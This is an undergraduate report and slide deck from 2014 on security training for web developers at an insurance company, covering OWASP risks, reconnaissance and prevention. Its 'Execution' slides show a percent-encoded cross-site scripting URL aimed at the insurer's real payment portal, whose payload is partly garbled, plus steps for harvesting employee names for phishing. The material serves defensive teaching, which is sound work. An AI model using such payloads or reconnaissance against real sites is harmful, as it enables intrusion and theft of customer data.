Hacking into the code:

A Security Training for Web Developers

by

Jasmine Hix

Submitted to

the Faculty of the School of Information Technology
in Partial Fulfillment of the Requirements for
the Degree of Bachelor of Science
in Information Technology

© Copyright 2014 Jasmine Hix

The author grants to the School of Information Technology permission
to reproduce and distribute copies of this document in whole or in part.

Jasmine Hix

Russell E. McMahon

Professor Russell McMahon, Faculty Advisor

University of Cincinnati
College of
Education, Criminal Justice, and Human Services

April 2014
# Table of Contents

<table>
<thead>
<tr>
<th>Section (12 point, bold)</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Table of Contents</td>
<td>ii</td>
</tr>
<tr>
<td>Abstract</td>
<td>3</td>
</tr>
<tr>
<td>Introduction</td>
<td>4</td>
</tr>
<tr>
<td>Discussion</td>
<td>6</td>
</tr>
<tr>
<td>Conclusion</td>
<td>9</td>
</tr>
</tbody>
</table>
Abstract

American Modern Insurance Group, like any other company dealing with sensitive data, has to be able to provide security and privacy within their systems. To do this, not only must the networking team know how to secure data, but their Web developers must also know how to secure the programs they build. I chose to work on this project because as a developer, security isn’t something that is stressed when building an application. Developers’ main focus is usually on the functionality and not on a potential attack that may take place. This project will be a great teaching tool for the developers at AMIG and me. They must be prepared to know what a hack looks like and how to look for vulnerabilities within their code. I have put together a training guide that will show them what hackers are looking for, how they find information, what an attack would look like, the damage that is done and the prevention methods for an attack. Using OWASP and demo sites this presentation will train the Web development team on the anatomy of a hack and how to look for vulnerabilities. By the end of the presentation, the Web developers should know what a hacker is looking for in a system, how they are able to get into the system and what to do to prevent an attack from happening.
1. Introduction

In the field of Information Technology, not all IT professionals focus on the same thing. Network engineers focus on architecture and security, database administrators’ focus on security access to the database and Web developers focus on the development and functionality of applications. Even though Web applications are the first thing a user interacts with before accessing data, Web Developers are not aware of how vulnerable their code can be, which can lead to someone bypassing the network security and getting to the data in the database.

So how can we make Web developers more aware of these vulnerabilities within their code? In order to understand how these vulnerabilities are used to gain access to data, we must get developers into the mindset of a hacker. The research will be focused on reconnaissance, how does an attacker decide which applications to target; execution, what does an attack look like? Damage, what type of damage is done to a company? And prevention, how can an attack be prevented? Security is a big issue when dealing with companies that store sensitive information like credit card numbers and social security numbers of customers. A company like American Modern Insurance Group (AMIG) can be very vulnerable to hackers because the hackers know that there is a lot of sensitive information that the company stores. Each person in IT should be aware of security no matter what his or her main focus is, whether it’s networking, database or Web development.
1.1 Problem

The problem that is faced by the insurance company is that their Information Technology department, particularly the Web developers, does not have enough documentation or training on Web application security. They need to know how to implement security into the applications, how to recognize vulnerabilities in the applications, and how to improve the applications currently deployed in the company. The company’s applications should be tested for security constantly using code analysis and also social engineering tools to make sure sensitive data cannot be accessed outside the network.

A training presentation will be put together that will further explain how vulnerabilities may come about and how this is used to gain access to company data. I will explain free tools and resources available on the Web that users can use to commit an attack against the company and how the developers themselves can use these tools to stay one step ahead. Not only are Web applications themselves vulnerable, but so are people. The presentation will demonstrate how easily an attacker can use Facebook and other forms of social media to commit a phishing attack against users and employees. Social engineering has also played a huge role in attacks and it’s important that the company knows how third party resources can play a part in gaining inside information on a business. Using one of their applications that were vulnerable not too long ago, I will demonstrate how an attacker could have used cross-site scripting to pull information from that page to cause further damage.
2. Discussion

2.1 Project Concept

Back in September I attended an ISACA meeting. The Information Systems Audit and Control Association (ISACA) is a global organization focused on security research with chapters throughout the country including Cincinnati, Ohio. I met Greg Press at the meeting who is the Director of IT Risk and Security Management at American Modern Insurance Group (AMIG). When I met Mr. Press for the first time, we talked about the senior design project and I asked if there were any projects at AMIG that I could work on. He emailed me a list of potential projects a month later, which were all security related. Couple weeks after that, I met with both Greg and Jeremy who is the IT Application Security Engineer, to go over the project list. After going back and forth on potential ideas, both Greg and Jeremy thought of another project that would cover the many security related topics, which was to do Web security training for their developers. Not all developers think about security when building applications and AMIG has had some problems in a couple of their applications that had simple vulnerabilities that could have been prevented. I thought that the training would be a great project to work on, because not only will the developers benefit, but I would also learn about Web application security myself.

2.2 Design Objectives

The goal of the training is to first, get the developers to understand Web application security. They should understand the internal architecture of their network. To do this, a diagram of a multitier architecture will be explained and show different vulnerabilities
that surround each component. There will be discussions on how to find information on
the company, how to use Facebook, Google and Bing to find what you want and how to
map an attack surface on an application. Next will be a demo on what an attack would
look like on an actual website. Finally prevention methods will be discussed and using
the Open Web Application Security Project to find out more about vulnerabilities and
prevention methods.

Some initial goals of the project were to scan their applications in a testing environment
using their analysis tools such as Fortify to see if we could find any vulnerability.
Because of security reasons, we had to abandon that part of the project.

2.3 User Profile

The training is geared towards users with experience in application development. The
users will have to be able to understand client-side scripting languages such as JavaScript
and html. The users will have to be able to understand the documentation on how a
network is setup. Knowledge of how database tools work would help the user understand
how the application communicates with the database. The pen tester should have the
ability to test the network for vulnerabilities and be able to explain how to fix them. As
the pen tester, the user will have the ability to research better methods of implementing
security for the insurance company.
2.4 Methodology/Technical Element

This project will require the research of computer, software tools and Web browser extensions. Application testing is very important. Before a developer can test their own code for security, they must know what to look for. Using WebGoat is a great tool to practice with. This is an open Web application by OWASP that teaches users Web application security. It is very critical that users know what to look for because they have to think like hackers in order to test the network for vulnerabilities. Using scanning tools found free on the Web, such as SQLMap and browser extensions such as XSS ME are great tools to start with. Using this approach allows the developers to see what an attacker may see when scanning their applications.

2.5 Budget

There is no budget for this project, as we are using both company resources and free tools online. Hypothetically, a company could provide training by hiring a security expert to test the applications and work with the development team during the application process. There are also many training webinars provided online, which would vary in price. Some online training tools cost up to $5,000 per course.
2.6 Gantt Chart

<table>
<thead>
<tr>
<th>Task Name</th>
<th>Mode</th>
<th>Duration</th>
<th>Start</th>
<th>Finish</th>
</tr>
</thead>
<tbody>
<tr>
<td>Final Presentation</td>
<td>1 day</td>
<td>Mon 4/7/14</td>
<td>Mon 4/7/14</td>
<td></td>
</tr>
<tr>
<td>Training Demo for AMIG</td>
<td>1 day</td>
<td>Tue 4/8/14</td>
<td>Tue 4/8/14</td>
<td></td>
</tr>
<tr>
<td>Final Training Recording for AMIG</td>
<td>1 day</td>
<td>Mon 4/14/14</td>
<td>Mon 4/14/14</td>
<td></td>
</tr>
<tr>
<td>Final Report</td>
<td>10 days?</td>
<td>Mon 4/14/14</td>
<td>Sat 4/26/14</td>
<td></td>
</tr>
<tr>
<td>IT Expo</td>
<td>1 day</td>
<td>Tue 4/15/14</td>
<td>Tue 4/15/14</td>
<td></td>
</tr>
</tbody>
</table>

3. Conclusion

Before this project, I knew nothing about Web Application Security. After working on this project and with AMIG, I have learned a lot about coding for security. There are simple coding methods that can stop common attacks such as cross-site-scripting and sql injection, just by escaping user input and sending POST requests instead of GET requests. While this does not guarantee to prevent an attack from happening, it can help mitigate some attacks from happening or make it harder for the attacker. I have also learned that you should never be 100% satisfied with your application, there should always be testing and scans done even when the application is deployed.


Hacking into the code: A Security awareness presentation for Web Developers

By: Jasmine Hix
Goals of this Presentation

- Increase security awareness in Web applications
- Identify common practices used by attackers
- Identify ways to discover application vulnerabilities
- Explore tools on the Web to help understand Web application Security
- To think like a hacker!
1. What is Web Application Security about?
2. Reconnaissance: what are hackers looking for?
3. Execution: How do they commit an attack?
4. Damage: What damage is done to the company?
5. Prevention: How do you prevent an attack?
42% increase in targeted attacks in 2012
32% of all mobile threats steal information
The number of phishing sites spoofing social networking sites increased 125%.
Web-based attacks increased 30%.
5,291 new vulnerabilities discovered in 2012, 415 on mobile operating systems.
Web Application Security

- **XSS**
- **CSRF**
- **Parameter Tampering**
- **Packet Sniffing**
- **Directory Transversal**
- **XML Injection**
- **Forged Token**
- **SQL**
- **XML**
- **Injection**
Problems with Web applications

- Users can submit arbitrary input
- Users can submit requests in any sequence
- Errors aren’t handled correctly
Hackers: Who are they? What are they looking for?

- Personal Information
- Credit card numbers
- Social Security numbers
Stolen Credit Cards are a 2 billion dollar industry.

Hackers steal credit card numbers and sell them in an online market (carding forums/card malls).

The more information that comes with the card, the higher the value.

In the case of Target, the credit cards could sell for up to $135 each.

-tripwire.com
Recon
Finding Information

- Search Engines
  - Google
  - Bing
- Scanning tools
  - sqlmap
- Third parties
- Job posts
Search Engines

- Google
  - Indexing
  - Google processes information included in key content tags and attributes, such as Title tags and ALT attributes
    - robots.txt
    - Uses site:
- Bing
  - Uses ip:
Mapping the content

- Explore visible content
- Discover hidden
- Test for debug parameters
- Identify data entry points
- Identify the technologies used
- Map the attack surface
Internet Browsers and extensions

- Internet Explorer
  - Most Applications are tested and made sure to work properly in IE
  - IE 8 introduced xss filtering to prevent some xss attacks

- Firefox
  - No support for ActiveX controls as IE does
  - SQL Inject ME, Access Me, CryptoFox, Offsec Exploit-db Search

- Google Chrome
  - XSS Rays, Cookie editor, Web Developer Tool etc
Explore Visible Content

- Configure the browser to use a proxy/spidering tool such as WebScarab and an extension such as IEWatch
- Browse the entire application normally, visiting every link, submitting every form and proceeding through all multistep functions to completion.
Discover Hidden Content

- Confirm how the application handles requests for nonexistent items
- Obtain listings of common file, directory names and file extensions.
- AddDocument.jsp, ViewDocument.jsp
Test Parameters

- Choose application pages where hidden debug parameters (debug=true) may be implemented.
- These are most likely to appear in key functionality pages such as login, search, and file upload/download.
Identify data entry points

- Identify all different entry points that exist for introducing user input into the application’s processing
  - URLs, query string parameters, POST data, cookies, forms etc.
Identify Technologies Used

- Identify all technologies used on the client side.
- Forms, scripts, cookies, Java applets, ActiveX controls, and Flash objects
Map the Attack Surface

- Try to ascertain the likely internal structure and functionality of the server-side application.
  - For example a function to retrieve a customer order is most likely interacting with the database.
- For each of the functionalities, identify common vulnerabilities associated with it.
  - File upload functions may be vulnerable to path traversal.
- Formulate a plan of attack
Execution
Cybercrime costs the United States around $100 billion each year.

The US has one of the most costly data breach with $199 per record and experienced the highest total cost at $5.4 million.

-Ponemon Institute
Impact on customer and business

- Identity theft
- Accessing sensitive or restricted information
- Gaining free access to otherwise paid for content
- Spying on user’s web browsing habits
- Altering browser functionality
- Public defamation of an individual or corporation
- Web application defacement
- Denial of Service attacks
Damages to Companies

- Lost Revenue
- Costs for each customer record breached
- Reputation and Brand
- Loss of Intellectual Property
- Costs to repair the damage
The Companies damaged by an attack

HBGary Federal hacked and exposed by Anonymous

Nationwide Security Breach Raises Priority of IT Security

JPMorgan warns 465,000 card users on data loss after cyber attack

$1.5 million Cyberheist Ruins Escrow Firm
Targeted attacks in Ohio since 2011

- USI Insurance Services LLC
- University Hospitals
- Nationwide Mutual Insurance Company and Allied Insurance
- Samaritan Regional Health System
- City of Norwood
- City of Akron
- Equity Trust Company
- Sears Portrait Studio
- ECS Tuning Inc.
- Ohio State University Medical Center
- Yamaha Commercial Audio Systems
- Xavier University
- Buckeye Check Cashing
- Young Family Medicine Inc.
- Wood County Hospital
- Crafts Americana Group, Inc.
- GreenStone Homes
- ProMedica
- Affiliated Computer Services
- Thirty-One Gifts, LLC
- Benefits Resources, Inc.
- AdvancePierre Foods
- Greene County
- Crowne Plaza
- Ohio Rehabilitation Services Commission
- Long Chiropractic
- Glenn Research Center- NASA
A worldwide not-for-profit organization focused on improving the security of software.

- Owasp projects
  - Application Developers
  - Software Architects
  - Information Security Authors
- Tools and Resources
- Local chapters in the Cincinnati area
<table>
<thead>
<tr>
<th></th>
<th>OWASP TOP 10 2013</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
<td>Injection</td>
</tr>
<tr>
<td>A2</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7</td>
<td>Missing Function Level Access Control</td>
</tr>
<tr>
<td>A8</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9</td>
<td>Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10</td>
<td>Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>

**A1 - Injection**
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authentication.

**A2 - Broken Authentication and Session Management**
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

**A3 - Cross-Site Scripting (XSS)**
XSS flaws occur whenever untrusted data is sent and sent to a web browser without proper validation or escaping. XSS flaws allow attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

**A4 - Insecure Direct Object References**
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

**A5 - Security Misconfiguration**
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.

**A6 - Sensitive Data Exposure**
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.

**A7 - Missing Function Level Access Control**
Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.

**A8 - Cross-Site Request Forgery (CSRF)**
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

**A9 - Using Components with Known Vulnerabilities**
Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defense and enable a range of possible attacks and impacts.

**A10 - Unvalidated Redirects and Forwards**
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
Reconnaissance: what would a hacker look for/ where would they look?
Execution: How would they commit an attack?
Damage: What damage could be done to the company?
Prevention: How do you prevent this attack?
Looking for any helpful information on the company

American Modern Ready to Roll with Guidewire Suite - Insurance ...

www.insurancetech.com/.../american-modern...to...240159914
by Zarina Patel

American Modern Insurance Group, Inc. | Company Profile from ...

www.hoovers.com/company.../company-profile American_Modern_Ins...)
Industry insights you need to enter new markets and conduct successful sales calls ...
American Modern Insurance Group wants to make sure you’re protected. ...

American Modern Insurance Group, Inc. Employee Discounts ...

www.insite21.com/?view=valuedisc&cid=2664
Employees and Associates of American Modern Insurance Group, Inc. are eligible for special, savings, and discounts from the following...

Guidewire Software Announces New Versions of Data Management ...

www.guidewire.com/.../guidewire-software-announces-new-versions-of-...
Dec 18, 2013 - Guidewire - Deliver insurance your way ... the value and insight unlocked through core system transformation, and support enterprise-wide data ...
Vice President, Application Development, American Modern Insurance Group.

Joanne Swain profiles | LinkedIn

www.linkedin.com/pub/d/Joanne/Swain
Current: Consultant at Freelance; Past: Head of Insight at Weight Watchers ... Current: QC Clerk / Ameritrac Training Unit at American Modern Insurance Group ...

American Modern Insurance Group
agents.amig.com/
Welcome to American Modern. Our job as a specialty insurer is to complement your agency's core business with easy access to insurance solutions for ...

Willis: Global Insurance Broker

www.willis.com/
Willis Capital Markets & Advisory announced the successful placement of a $75 million catastrophe bond transaction for American Modern Insurance Group, Inc.
Information Leakage

- Guidewire InsuranceSuite
- Technology use
- Billing and Underwriting

Nationwide’s deal with Guidewire

---

American Modern Ready to Roll with Guidewire Suite

Zarna Patel
Staff Writer

August 13, 2013

American Modern Insurance Group, a specialty insurer based in Ohio, has selected Guidewire Software’s InsuranceSuite for underwriting and policy administration, as well as claims, billing, payment, and commissions’ management.

InsuranceSuite systems will use Guidewire’s Client Data Management to deliver the customer contact data to PolicyCenter for underwriting, BillingCenter for billing management and ClaimCenter for claims management.

“The rich, out-of-the-box features of PolicyCenter and BillingCenter were very attractive to us,” states John Spirtzky, assistant vice president of business enablement at American Modern in a release. “We also appreciate Guidewire’s model of measuring conformance, so that we will know if we are veering away from what we are trying to do with the out-of-the-box functionality and customization.”

[Read more about how Nationwide’s deal impacts the whole insurance industry]

InsuranceSuite highlighted by American Modern include full-policy lifecycle servicing, faster quoting, issuance based on profit capabilities, standardizing underwriting, policy administration and billing management on a common platform, and configuration of features and functionality.

BillingCenter includes automated functionality as well as the ability to integrate with external payment systems. ClaimCenter allows automation of life insurance processes.

---

Message Board

Are Insurers Ready for Bitcoin?
3 Comments • Last comment 10 hours ago

Omnichannel Revolution Grabs Insurance Core Systems
3 Comments • Last comment 17 hours ago

Realizing The Promise Of Agility
4 Comments • Last comment 19 hours ago

Start a new discussion

Tag Trends

1. Insurance Innovation
2. Customer Experience
3. Insurance Payments
4. Artificial Intelligence
5. P&C Insurance
6. Risk Management
7. Predictive Modeling
8. Reinsurance
Information Leakage

- Guidewire Web site
- Verification from the company

Guidewire Software Announces New Versions of Data Management and Business Intelligence Products

New releases of Guidewire DataHub™ and Guidewire InfoCenter™ expands data models and deepens integration with both Guidewire InsuranceSuite™ and IBM Cognos

FOSTER CITY, Calif., December 18, 2013:

Guidewire Software, Inc. (NYSE: GWRE), a provider of software products to Property/Casualty (P/C) insurers, today announced the availability of Guidewire DataHub™ 8 and Guidewire InfoCenter™ 8, the latest releases of Guidewire’s data management and business intelligence (BI) products for P/C insurers. Together, DataHub and InfoCenter help P/C insurers accelerate legacy system replacement; capture the value and insight unlocked through core system transformation, and support enterprise-wide data management and BI strategies.

This release improves time to market for customers by expanding data models available out of the box and by enhancing the underlying platform. For example, InfoCenter data marts are now pre-integrated with IBM® Cognos® Business Intelligence through Framework Manager Models and sample reports for multiple subject areas including financial, operational, and cross-functional performance metrics. DataHub and InfoCenter now include global support and ETL pre-integration with InsuranceSuite 7 and 8.

To date, more than 15 insurers have selected and benefited from this data management and BI solution.

“We see DataHub and InfoCenter as strategic investments for both Guidewire and American Modern,” said Bill Gotsacker, Vice President, Application Development, American Modern Insurance Group. “By purchasing a full end-to-end suite of products from one vendor, we simplify our architecture and ensures alignment between InsuranceSuite and our enterprise data warehouse.”

Data repositories and warehouses are key components in the overall architecture for insurers today. Integration via a master data hub is becoming more common, and can allow the insurer to share data across legacy and strategic systems, and gain a consolidated view of the enterprise in one effort,” said Martina Cronin, principle, Novarica. “Adding in robust business intelligence capabilities empowers the insurer to manage performance and make better decisions. Mature, P/C insurance data models with pre-integrations to insurance core systems can provide big benefits in the way of reduced risk, increased quality and accelerated implementation.”

“We are pleased that the specialized P/C data expertise and assets Guidewire acquired with Millbrook have allowed us to quickly release additional capabilities so soon after our initial launch of these products this past June,” said Neil Belfsride, vice president, Strategy at Guidewire. “We are committed to helping insurers leverage data through insights gained from easier access to richer, higher quality information.”

Guidewire DataHub™ is an operational data store that unifies, standardizes, and stores data from the typical patchwork of an insurer’s systems as well as from external sources. This provides the single source of truth to feed core systems, business intelligence solutions, and downstream systems such as general ledger, regulatory, and tax reporting. DataHub decouples data consumption from data production, thus insulating downstream data consumers from changes in the behavior and configuration of upstream data producers. With DataHub, insurers can more easily retire legacy systems, ensure business continuity during core system transformation, and add new applications in the future.
ModernLink

- Access to Policy and Billing Information
- Web-based

modernLINK®. It just gets easier!

modernLINK® provides agents and associates with easily accessible policy information, forms retrieval, new business quoting/submission, and other Web-based capabilities.

modernLINK® hours of operation are 7 a.m. EST - 12 a.m. EST, Monday - Friday; 8 a.m. EST - 9 p.m. EST, Saturday and Sunday.

modernLINK® offers the following business features and benefits:

- General Features and Benefits
- Policy Inquiry
- Rate, Quote and Submit
- eForms Library
Analyzing the Web application

Username: [blank]
Password: [blank]
Log In

Did you forget your password?
Did you forget your username?

Policy Number (omit any dashes or special characters): [blank]

Billing Invoice

American Modern Insurance Group

Policy Number: 050-024-050
Policy Period: March 8, 2008 to March 8, 2009
Billing Invoice Number: 000050180

Named Insured:
David Mccoy
440 Evergreen Rd
Arab AL 16350

Your Agent:
Rv Marketing Inc
15 Mccoy Place
Simi Valley CA 93065

Broker:
None
Step 1: look through Company Profile page to find potential customers or employees.

Step 2: Google names along with company name.

Step 3: find a whole list of Company employees instead.
Indexed Links with sensitive information

AMIG - modernLINK - American Modern Insurance Group
https://modermlink.amig.com/.../contactUs.ht... American Modern Insuran... modernLINK® Availability: Monday - Friday 7 a.m. to 12 a.m. Eastern time. Saturday, Sunday, and holidays 8 a.m. to 9 p.m. ...

American Modern Insurance Group Privacy Notice and Notice of...
https://modermlink.amig.com/.../privacy.htm... American Modern Insuran... INTERNET PRIVACY POLICY. The Midland Company and its wholly-owned subsidiaries, American Modern Insurance Group, Inc., M/G Transport Services, Inc., ...

American Modern Insurance Group - Legal Terms and Conditions
https://modermlink.amig.com/...legal_tc.htm... American Modern Insuran... LEGAL DISCLAIMERS, TERMS AND CONDITIONS. Welcome to the Internet Sites of The Midland Company and its wholly-owned subsidiaries, American ...

American Modern Insurance Group - Payment Authorization for...
https://modermlink.amig.com/.../ePayment?... American Modern Insuran... Welcome. Would you like to make a payment using your credit card or by electronic funds transfer (EFT) using your bank account?

American Modern - Policy
https://modermlink.amig.com/... For assistance in locating your policy number on an insurance policy, please use examples below as a reference. Premium Notice Premium Notice Payment Coupon

Payment - The American Modern Insurance Group
https://portal-s2.amig.com/.../ePayment?... American Modern Insuran... Important Note: The online payment process is available Monday through Friday 7:00 am - 12:00 am EST. Saturday and Sunday 8:00 am to 9:00 pm EST.
A Hacker can now manipulate this page to get the information they want.
Execution
Encoding the Url

- https://portal-s2.amig.com/selfPay/ePayment?action=verifyPolicyPrefilled&remitType=CC&companyPolicyNumber=052592856&submitterContact=888-555-1212&paymentAmount=%3C%73%63%72%69%70%74%3E%0A%76%61%72%20%69%6D%67%3D%20%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%6F%6E%6C%69%63%6B%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%0A%66%6F%72%28%69%3D%30%3B%20%73%3D%30%3C%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%6F%6E%6C%69%63%6B%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%0A%66%6F%72%28%69%3D%30%3B%20%73%3D%30%3C%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%6F%6E%6C%69%63%6B%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%0A%66%6F%72%28%69%3D%30%3B%20%73%3D%30%3C%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%6F%6E%6C%69%63%6B%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%0A
Targeting a User

Execution

The script is now embedded in the source code.

Hacker

https://portal-s2.amig.com/selfPay/ePayment?action=verifyPolicyPrefilled&remitType=CC&companyPolicyNumber=052592856&submitterContact=888-555-1212&paymentAmount=%3C%73%63%72%69%70%74%3E0%76%61%72%........

User clicks on the link

Sends link to user

Sends information back to the hacker

person@gmail.com

Hacker Sends link to user

The script is now embedded in the source code.

User clicks on the link

Sends information back to the hacker
At $199 per record breached, an attack on AMIG with over 1 million customers could cost the company up to an estimated $200,000,000.
Prevention of Indexed links

<html xmlns="http://www.w3.org/1999/xhtml" x>
<meta name="robots" content="noindex">
<title>American Modern Insurance Group - Pay</title>
<link rel="stylesheet" type="text/css" href=...>
Thank You For Your Time!